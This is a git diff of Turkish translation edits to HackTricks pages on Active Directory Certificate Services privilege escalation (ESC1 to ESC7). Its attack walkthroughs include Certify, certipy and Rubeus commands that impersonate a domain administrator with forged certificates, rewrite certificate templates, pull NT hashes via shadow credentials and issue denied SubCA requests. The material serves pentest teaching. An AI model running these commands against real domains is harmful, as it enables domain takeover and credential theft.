adresinde mevcuttur. +**`Rubeus`** bu bilgiyi **`asktgt [...] /getcredentials`** seçeneği ile de alabilir. -Bu açıklama, PKINIT aracılığıyla NTLM kimlik bilgisi çalınma sürecini ve bu süreçte yer alan araçları kapsar; PKINIT kullanılarak elde edilen TGT aracılığıyla NTLM hash'lerinin geri alınmasına ve bu süreci kolaylaştıran yardımcı programlara odaklanmaktadır. +Ayrıca, Kekeo'nun akıllı kart korumalı sertifikaları işleyebileceği, pin'in alınabilmesi durumunda belirtildi, [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) referansıyla. Aynı yeteneğin **Rubeus** tarafından desteklendiği, [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) adresinde mevcuttur. + +Bu açıklama, PKINIT aracılığıyla NTLM kimlik bilgisi çalınma sürecini ve bu süreçte yer alan araçları kapsar, PKINIT kullanılarak elde edilen TGT aracılığıyla NTLM hash'lerinin geri alınmasına odaklanır ve bu süreci kolaylaştıran yardımcı programları içerir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 0fb48b73e..6471d9ef8 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -20,15 +20,15 @@ - **Sertifika şablonlarındaki güvenlik tanımlayıcıları aşırı izinlidir, bu da düşük ayrıcalıklı kullanıcıların kayıt hakları elde etmesine olanak tanır.** - **Sertifika şablonları, kimlik doğrulamayı kolaylaştıran EKU'ları tanımlamak için yapılandırılmıştır:** - Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) veya no EKU (SubCA) gibi Genişletilmiş Anahtar Kullanımı (EKU) tanımlayıcıları dahildir. -- **Talep edenlerin Sertifika İmzalama Talebi (CSR) içinde bir subjectAltName dahil etme yeteneği şablon tarafından izin verilmektedir:** -- Active Directory (AD), kimlik doğrulama için bir sertifikada subjectAltName (SAN) varsa bunu önceliklendirir. Bu, CSR'de SAN belirterek, herhangi bir kullanıcıyı (örneğin, bir alan yöneticisi) taklit etmek için bir sertifika talep edilebileceği anlamına gelir. Talep edenin bir SAN belirleyip belirleyemeyeceği, sertifika şablonunun AD nesnesinde `mspki-certificate-name-flag` özelliği aracılığıyla belirtilir. Bu özellik bir bitmask'tır ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, talep edenin SAN'ı belirtmesine izin verir. +- **Talep edenlerin Sertifika İmzalama Talebinde (CSR) subjectAltName ekleme yetkisi şablon tarafından verilmektedir:** +- Active Directory (AD), mevcutsa bir sertifikada kimlik doğrulama için subjectAltName (SAN) önceliği verir. Bu, CSR'de SAN belirterek, herhangi bir kullanıcıyı (örneğin, bir alan yöneticisi) taklit etmek için bir sertifika talep edilebileceği anlamına gelir. Talep edenin bir SAN belirleyip belirleyemeyeceği, sertifika şablonunun AD nesnesinde `mspki-certificate-name-flag` özelliği aracılığıyla gösterilmektedir. Bu özellik bir bitmask'tır ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, talep edenin SAN'ı belirtmesine izin verir. > [!CAUTION] > Belirtilen yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifika talep etmelerine izin vererek, Kerberos veya SChannel aracılığıyla herhangi bir alan ilkesinin kimliğini doğrulamalarını sağlar. -Bu özellik, bazen ürünler veya dağıtım hizmetleri tarafından HTTPS veya ana bilgisayar sertifikalarının anında oluşturulmasını desteklemek için veya bir anlayış eksikliği nedeniyle etkinleştirilir. +Bu özellik, bazen ürünler veya dağıtım hizmetleri tarafından HTTPS veya ana bilgisayar sertifikalarının anında oluşturulmasını desteklemek için veya bir anlayış eksikliğinden dolayı etkinleştirilir. -Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin olan `WebServer` şablonu) kopyalanıp ardından bir kimlik doğrulama OID'si eklemek için değiştirilmesi durumunda böyle bir uyarının olmadığı belirtilmiştir. +Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin olan `WebServer` şablonu) kopyalanıp ardından bir kimlik doğrulama OID'si eklemek için değiştirilmesi durumunda böyle bir uyarının olmadığı belirtilmektedir. ### Suistimal @@ -37,19 +37,19 @@ Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, m Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Bu güvenlik açığını **bir yöneticiyi taklit etmek için istismar etmek** amacıyla şunları çalıştırabilirsiniz: +Bu **açığı kötüye kullanarak bir yöneticiyi taklit etmek** için şunları çalıştırabilirsiniz: ```bash Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' ``` -Sonra oluşturulan **sertifikayı `.pfx`** formatına dönüştürebilir ve bunu **Rubeus veya certipy** kullanarak tekrar **kimlik doğrulamak için** kullanabilirsiniz: +Sonra oluşturulan **sertifikayı `.pfx`** formatına dönüştürebilir ve **Rubeus veya certipy** kullanarak tekrar **kimlik doğrulaması** için kullanabilirsiniz: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` Windows ikili dosyaları "Certreq.exe" ve "Certutil.exe", PFX oluşturmak için kullanılabilir: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip olan ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağı etkinleştirilmiş olanların sayımı, aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir: +AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip olan ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağı etkin olanların listelenmesi, aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` @@ -63,11 +63,11 @@ AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özelli 2. Yönetici onayı gereksinimi devre dışı bırakılır. 3. Yetkili imzaların gerekliliği atlanır. 4. Sertifika şablonundaki aşırı izinli bir güvenlik tanımlayıcısı, düşük ayrıcalıklı kullanıcılara sertifika kayıt hakları verir. -5. **Sertifika şablonu, Any Purpose EKU'yu veya hiç EKU'yu içerecek şekilde tanımlanmıştır.** +5. **Sertifika şablonu, Any Purpose EKU veya hiç EKU içerecek şekilde tanımlanmıştır.** -**Any Purpose EKU**, bir saldırganın **herhangi bir amaç** için, istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil olmak üzere bir sertifika almasına izin verir. Bu senaryoyu istismar etmek için **ESC3 için kullanılan aynı teknik** uygulanabilir. +**Any Purpose EKU**, bir saldırganın **herhangi bir amaçla**, istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil olmak üzere bir sertifika almasına izin verir. Bu senaryoyu istismar etmek için **ESC3 için kullanılan aynı teknik** uygulanabilir. -**Hiç EKU'su olmayan** sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaç** için istismar edilebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan, bir alt CA sertifikası kullanarak yeni sertifikalarda keyfi EKU'lar veya alanlar belirtebilir. +**Hiç EKU içermeyen** sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaçla** istismar edilebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan, bir alt CA sertifikası kullanarak yeni sertifikalarda keyfi EKU'lar veya alanlar belirtebilir. Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, alt CA **`NTAuthCertificates`** nesnesi tarafından güvenilir değilse çalışmayacaktır; bu, varsayılan ayardır. Yine de, bir saldırgan **herhangi bir EKU** ve keyfi sertifika değerleri ile **yeni sertifikalar** oluşturabilir. Bunlar, potansiyel olarak geniş bir yelpazede amaçlar için **kötüye kullanılabilir** (örneğin, kod imzalama, sunucu kimlik doğrulaması vb.) ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçlar doğurabilir. @@ -81,9 +81,9 @@ AD Ormanı'nın yapılandırma şemasında bu senaryoya uyan şablonları listel Bu senaryo, birincisi ve ikincisi gibi ancak **farklı bir EKU** (Sertifika Talep Ajanı) ve **2 farklı şablon** **istismar ederek** (bu nedenle 2 set gereksinimi vardır), -**Sertifika Talep Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir, bir yetkilinin **başka bir kullanıcı adına** bir **sertifika** için **kayıt olmasına** izin verir. +**Sertifika Talep Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir, bir kullanıcının **başka bir kullanıcı adına** **sertifika** için **kayıt olmasına** izin verir. -**“kayıt ajanı”** böyle bir **şablona** kayıt olur ve elde edilen **sertifikayı diğer kullanıcı adına bir CSR'yi eş-imzalamak için** kullanır. Daha sonra **eş-imzalı CSR'yi** CA'ya **gönderir**, **“adına kayıt olma”** izni veren bir **şablona** kayıt olur ve CA, **“diğer” kullanıcıya ait bir sertifika** ile yanıt verir. +**“kayıt ajanı”** böyle bir **şablona** kayıt olur ve elde edilen **sertifikayı diğer kullanıcı adına bir CSR'yi eş-imzalamak için** kullanır. Daha sonra **eş-imzalı CSR'yi** CA'ya gönderir, **“başka biri adına kayıt olma”** izni veren bir **şablona** kayıt olur ve CA, **“diğer” kullanıcıya ait bir sertifika** ile yanıt verir. **Gereksinimler 1:** @@ -91,13 +91,13 @@ Bu senaryo, birincisi ve ikincisi gibi ancak **farklı bir EKU** (Sertifika Tale - Yönetici onayı gereksinimi atlanır. - Yetkili imzalar için bir gereksinim yoktur. - Sertifika şablonunun güvenlik tanımlayıcısı aşırı derecede izin vericidir, düşük ayrıcalıklı kullanıcılara kayıt hakları verir. -- Sertifika şablonu, diğer yetkililer adına diğer sertifika şablonlarının talep edilmesini sağlayan Sertifika Talep Ajanı EKU'sunu içerir. +- Sertifika şablonu, diğer ilkeler adına diğer sertifika şablonlarının talep edilmesini sağlayan Sertifika Talep Ajanı EKU'sunu içerir. **Gereksinimler 2:** - Enterprise CA, düşük ayrıcalıklı kullanıcılara kayıt hakları verir. - Yönetici onayı atlanır. -- Şablonun şema versiyonu ya 1'dir ya da 2'yi aşar ve Sertifika Talep Ajanı EKU'sunu gerektiren bir Uygulama Politikası İhraç Gereksinimi belirtir. +- Şablonun şema versiyonu ya 1'dir ya da 2'yi aşar ve Sertifika Talep Ajanı EKU'sunu gerektiren bir Uygulama Politikası Yayınlama Gereksinimi belirtir. - Sertifika şablonunda tanımlanan bir EKU, alan kimlik doğrulamasına izin verir. - Kayıt ajanları için kısıtlamalar CA üzerinde uygulanmaz. @@ -117,15 +117,15 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**Kullanıcılar**, **kayıt ajanı sertifikası** **edinme** iznine sahip olanlar, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt ajanının hareket edebileceği **hesaplar**, kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **snap-in**'ini açarak, **CA'ya sağ tıklayarak**, **Özellikler**'i tıklayarak ve ardından “Kayıt Ajanları” sekmesine **geçerek** gerçekleştirilir. +**Kullanıcılar**, **kayıt ajanı sertifikası** **edinme** iznine sahip olanlar, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt ajanının hareket edebileceği **hesaplar**, kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **snap-in**'ini açarak, **CA'ya sağ tıklayarak**, **Özellikler**'i tıklayarak ve ardından “Enrollment Agents” sekmesine **geçerek** gerçekleştirilir. -Ancak, CA'lar için **varsayılan** ayarın “**Kayıt ajanlarını kısıtlamayın**” olduğu belirtilmektedir. Kayıt ajanları üzerindeki kısıtlama, yöneticiler tarafından etkinleştirildiğinde, “Kayıt ajanlarını kısıtla” olarak ayarlandığında, varsayılan yapılandırma son derece izin verici kalır. **Herkes**'in herhangi biri olarak tüm şablonlara kayıt olmasına izin verir. +Ancak, CA'lar için **varsayılan** ayarın “**Kayıt ajanlarını kısıtlamayın**” olduğu belirtilmektedir. Kayıt ajanları üzerindeki kısıtlama, yöneticiler tarafından etkinleştirildiğinde, “Kayıt ajanlarını kısıtla” olarak ayarlandığında, varsayılan yapılandırma son derece izin verici kalır. **Herkes**'in, herhangi biri olarak tüm şablonlara kayıt olmasına izin verir. ## Savunmasız Sertifika Şablonu Erişim Kontrolü - ESC4 ### **Açıklama** -**Sertifika şablonları** üzerindeki **güvenlik tanımlayıcı**, şablonla ilgili olarak belirli **AD ilkeleri** tarafından sahip olunan **izinleri** tanımlar. +**Sertifika şablonları** üzerindeki **güvenlik tanımlayıcı** (security descriptor), şablonla ilgili olarak belirli **AD ilkeleri** tarafından sahip olunan **izinleri** tanımlar. Bir **saldırgan**, bir **şablonu** **değiştirmek** ve **önceki bölümlerde** belirtilen herhangi bir **istismar edilebilir yanlış yapılandırmayı** **kurmak** için gerekli **izinlere** sahip olursa, ayrıcalık yükseltmesi sağlanabilir. @@ -134,8 +134,8 @@ Sertifika şablonlarına uygulanabilir önemli izinler şunlardır: - **Sahip:** Nesne üzerinde örtük kontrol sağlar, herhangi bir niteliği değiştirme yetkisi verir. - **TamKontrol:** Nesne üzerinde tam yetki sağlar, herhangi bir niteliği değiştirme yeteneği dahil. - **SahibiYaz:** Nesnenin sahibini saldırganın kontrolündeki bir ilkeye değiştirme izni verir. -- **DaclYaz:** Erişim kontrollerinin ayarlanmasına izin verir, potansiyel olarak bir saldırgana TamKontrol verebilir. -- **ÖzellikYaz:** Herhangi bir nesne özelliğinin düzenlenmesine yetki verir. +- **ErişimKontrolünüYaz:** Erişim kontrollerinin ayarlanmasına izin verir, potansiyel olarak bir saldırgana TamKontrol verebilir. +- **ÖzelliğiYaz:** Herhangi bir nesne özelliğinin düzenlenmesine yetki verir. ### Suistimal @@ -143,13 +143,13 @@ Sertifika şablonlarına uygulanabilir önemli izinler şunlardır:
-ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Bu, örneğin, sertifika şablonunun yapılandırmasını geçersiz kılmak için istismar edilebilir ve şablonu ESC1'e karşı savunmasız hale getirebilir. +ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Bu, örneğin, sertifika şablonunun yapılandırmasını değiştirmek için suistimal edilebilir ve şablonu ESC1'e karşı savunmasız hale getirebilir. -Yukarıdaki yolda görüldüğü gibi, yalnızca `JOHNPC` bu ayrıcalıklara sahiptir, ancak kullanıcı `JOHN`'ın `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarı vardır. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım, bu da [Gölge Kimlik Bilgileri](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinir. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi. +Yukarıdaki yolda görüldüğü gibi, yalnızca `JOHNPC` bu ayrıcalıklara sahiptir, ancak kullanıcı `JOHN`'ın `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarı vardır. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım, bu da [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinir. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy**, bir sertifika şablonunun yapılandırmasını tek bir komutla geçersiz kılabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirmek için geçersiz kılar**. Ayrıca, **saldırımızdan sonra yapılandırmayı geri yüklemek için eski yapılandırmayı kaydetmek üzere `-save-old` parametresini de belirtebiliriz**. +**Certipy**, bir sertifika şablonunun yapılandırmasını tek bir komutla geçersiz kılabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirecek şekilde geçersiz kılar**. Ayrıca, **eski yapılandırmayı kaydetmek için `-save-old` parametresini belirtebiliriz**, bu da saldırımızdan sonra yapılandırmayı **geri yüklemek** için faydalı olacaktır. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -164,11 +164,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ### Explanation -Bağlantılı ACL tabanlı ilişkilerin geniş ağı, sertifika şablonları ve sertifika otoritesinin ötesinde birkaç nesneyi içermektedir ve bu, tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunlardır: +Birçok nesneyi, sertifika şablonları ve sertifika otoritesinin ötesinde, içeren ACL tabanlı ilişkilerin geniş ağı, tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunlardır: -- CA sunucusunun AD bilgisayar nesnesi, S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye girebilir. +- S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye girebilecek CA sunucusunun AD bilgisayar nesnesi. - CA sunucusunun RPC/DCOM sunucusu. -- `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` belirli konteyner yolunda bulunan herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifikasyon Otoriteleri konteyneri, NTAuthCertificates nesnesi ve Kayıt Hizmetleri Konteyneri gibi konteynerler ve nesnelerle sınırlı olmamakla birlikte, bunları içermektedir. +- `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` belirli konteyner yolunda bulunan herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifikasyon Otoriteleri konteyneri, NTAuthCertificates nesnesi ve Kayıt Hizmetleri Konteyneri gibi konteynerler ve nesnelerle sınırlı olmamakla birlikte, bunları içerir. PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bileşenlerden herhangi birine kontrol sağlamayı başarırsa tehlikeye girebilir. @@ -176,9 +176,9 @@ PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bil ### Explanation -[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerini de kapsamaktadır. Bu yapılandırma, bir Sertifikasyon Otoritesi (CA) üzerinde etkinleştirildiğinde, **herhangi bir istek** için **konu alternatif adı** içinde **kullanıcı tanımlı değerlerin** dahil edilmesine izin verir; bu, Active Directory®'den oluşturulanları da içerir. Sonuç olarak, bu düzenleme, bir **saldırganın** alan **kimlik doğrulaması** için ayarlanmış **herhangi bir şablon** üzerinden kaydolmasına olanak tanır—özellikle **ayrıcalıksız** kullanıcı kaydına açık olan standart Kullanıcı şablonu gibi. Sonuç olarak, bir sertifika güvence altına alınabilir ve saldırganın alan yöneticisi veya alan içindeki **herhangi bir aktif varlık** olarak kimlik doğrulaması yapmasına olanak tanır. +[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerini de ele almaktadır. Bu yapılandırma, bir Sertifikasyon Otoritesi (CA) üzerinde etkinleştirildiğinde, **herhangi bir istekte** **kullanıcı tanımlı değerlerin** **alternatif ad** olarak dahil edilmesine izin verir; bu, Active Directory®'den oluşturulanları da içerir. Sonuç olarak, bu düzenleme, **bir saldırganın** **herhangi bir şablon** aracılığıyla **kimlik doğrulama** için kayıt olmasına olanak tanır—özellikle, standart Kullanıcı şablonu gibi **ayrıcalıksız** kullanıcı kaydına açık olanlar. Sonuç olarak, bir sertifika güvence altına alınabilir ve saldırganın bir alan yöneticisi veya alan içindeki **herhangi bir aktif varlık** olarak kimlik doğrulaması yapmasına olanak tanır. -**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı aracılığıyla bir Sertifika İmzalama Talebine (CSR) **alternatif adların** eklenmesi yaklaşımı, ESC1'deki SAN'ların istismar stratejisinden **farklılık** göstermektedir. Burada, fark, **hesap bilgilerinin nasıl kapsüllendiği** ile ilgilidir—bir sertifika niteliği içinde, bir uzantı yerine. +**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı aracılığıyla bir Sertifika İmzalama Talebine (CSR) **alternatif adların** eklenmesi yaklaşımı, ESC1'deki SAN'ların istismar stratejisinden bir **fark** sunar. Burada, fark, **hesap bilgilerinin nasıl kapsüllendiği** ile ilgilidir—bir sertifika niteliği içinde, bir uzantı yerine. ### Abuse @@ -209,15 +209,15 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ ``` > [!WARNING] > Mayıs 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar**, **istek sahibinin `objectSid` özelliğini** içeren bir **güvenlik uzantısı** içerecektir. ESC1 için, bu SID belirtilen SAN'dan türetilir. Ancak, **ESC6** için, SID **istek sahibinin `objectSid`** değerini yansıtır, SAN'ı değil.\ -> ESC6'yi istismar etmek için, sistemin ESC10'a (Zayıf Sertifika Eşleştirmeleri) karşı hassas olması gerekmektedir; bu, **yeni güvenlik uzantısına göre SAN'ı** önceliklendirir. +> ESC6'yi istismar etmek için, sistemin ESC10'a (Zayıf Sertifika Eşleştirmeleri) karşı hassas olması gerekmektedir; bu, **yeni güvenlik uzantısından ziyade SAN'ı** önceliklendirir. -## Hassas Sertifika Otoritesi Erişim Kontrolü - ESC7 +## Zayıf Sertifika Otoritesi Erişim Kontrolü - ESC7 ### Saldırı 1 #### Açıklama -Bir sertifika otoritesi için erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sürdürülmektedir. Bu izinler, `certsrv.msc` erişilerek, bir CA'ya sağ tıklanarak, özellikler seçilerek ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir: +Bir sertifika otoritesinin erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sürdürülmektedir. Bu izinler, `certsrv.msc` erişilerek, bir CA'ya sağ tıklanarak, özellikler seçilerek ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` @@ -225,14 +225,14 @@ Bu, "CA yöneticisi" ve "Sertifika Yöneticisi" rollerine karşılık gelen **`M #### Kötüye Kullanım -Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, yetkilinin ayarları uzaktan PSPKI kullanarak manipüle etmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını değiştirmeyi içerir; bu, alan yükseltmesinin kritik bir yönüdür. +Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, yetkilinin ayarları uzaktan PSPKI kullanarak manipüle etmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açıp kapatmayı içerir; bu, alan yükseltmesinin kritik bir yönüdür. Bu sürecin basitleştirilmesi, doğrudan GUI etkileşimi olmadan değişikliklere izin veren PSPKI’nin **Enable-PolicyModuleFlag** cmdlet'inin kullanımıyla mümkündür. **`ManageCertificates`** haklarına sahip olmak, bekleyen taleplerin onaylanmasını kolaylaştırır ve "CA sertifika yöneticisi onayı" korumasını etkili bir şekilde aşar. -Bir sertifika talep etmek, onaylamak ve indirmek için **Certify** ve **PSPKI** modüllerinin bir kombinasyonu kullanılabilir: -```powershell +**Certify** ve **PSPKI** modüllerinin bir kombinasyonu, bir sertifika talep etmek, onaylamak ve indirmek için kullanılabilir: +```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded [...] @@ -247,24 +247,24 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Saldırı 2 +### Attack 2 -#### Açıklama +#### Explanation > [!WARNING] -> **Önceki saldırıda** **`Manage CA`** izinleri **ESC6 saldırısını** gerçekleştirmek için **EDITF_ATTRIBUTESUBJECTALTNAME2** bayrağını **etkinleştirmek** için kullanıldı, ancak bu, CA hizmeti (`CertSvc`) yeniden başlatılmadıkça herhangi bir etki yaratmayacaktır. Bir kullanıcının `Manage CA` erişim hakkı olduğunda, kullanıcı aynı zamanda **hizmeti yeniden başlatma** iznine de sahiptir. Ancak, bu **kullanıcının hizmeti uzaktan yeniden başlatabileceği anlamına gelmez**. Ayrıca, **ESC6 çoğu yamanmış ortamda kutudan çıktığı gibi çalışmayabilir**; bu, Mayıs 2022 güvenlik güncellemelerinden kaynaklanmaktadır. +> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates. Bu nedenle, burada başka bir saldırı sunulmaktadır. Gereksinimler: - Sadece **`ManageCA` izni** -- **`Manage Certificates`** izni (bu **`ManageCA`** üzerinden verilebilir) -- Sertifika şablonu **`SubCA`** **etkinleştirilmiş** olmalıdır (bu **`ManageCA`** üzerinden etkinleştirilebilir) +- **`Manage Certificates`** izni ( **`ManageCA`** üzerinden verilebilir) +- Sertifika şablonu **`SubCA`** **etkinleştirilmiş** olmalıdır ( **`ManageCA`** üzerinden etkinleştirilebilir) -Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri** **yayınlayabilmesi** gerçeğine dayanmaktadır. **`SubCA`** sertifika şablonu **ESC1'e** **duyarlıdır**, ancak **yalnızca yöneticiler** şablona kaydolabilir. Böylece, bir **kullanıcı** **`SubCA`**'ya kaydolmak için **talep** edebilir - bu **reddedilecektir** - ancak **sonrasında yönetici tarafından verilecektir**. +Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri** verebileceği gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1'e** **duyarlıdır**, ancak **sadece yöneticiler** şablona kaydolabilir. Böylece, bir **kullanıcı** **`SubCA`**'ya kaydolmak için **talep** edebilir - bu **reddedilecektir** - ancak **sonrasında yönetici tarafından verilecektir**. -#### Suistimal +#### Abuse Kendinize **`Manage Certificates`** erişim hakkını, kullanıcıyı yeni bir yetkili olarak ekleyerek **verebilirsiniz**. ```bash @@ -299,14 +299,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -**`CA Yönet`** ve **`Sertifikaları Yönet`** ile, `ca` komutunu ve `-issue-request ` parametresini kullanarak **başarısız sertifika** talebini **verebiliriz**. +**`Manage CA` ve `Manage Certificates`** ile, `ca` komutunu ve `-issue-request ` parametresini kullanarak **başarısız sertifika** talebini **verebiliriz**. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -Ve nihayet, `req` komutunu ve `-retrieve ` parametresini kullanarak **verilen sertifikayı** alabiliriz. +Ve nihayet, **verilen sertifikayı** `req` komutu ve `-retrieve ` parametresi ile **alabiliriz**. ```bash certipy req 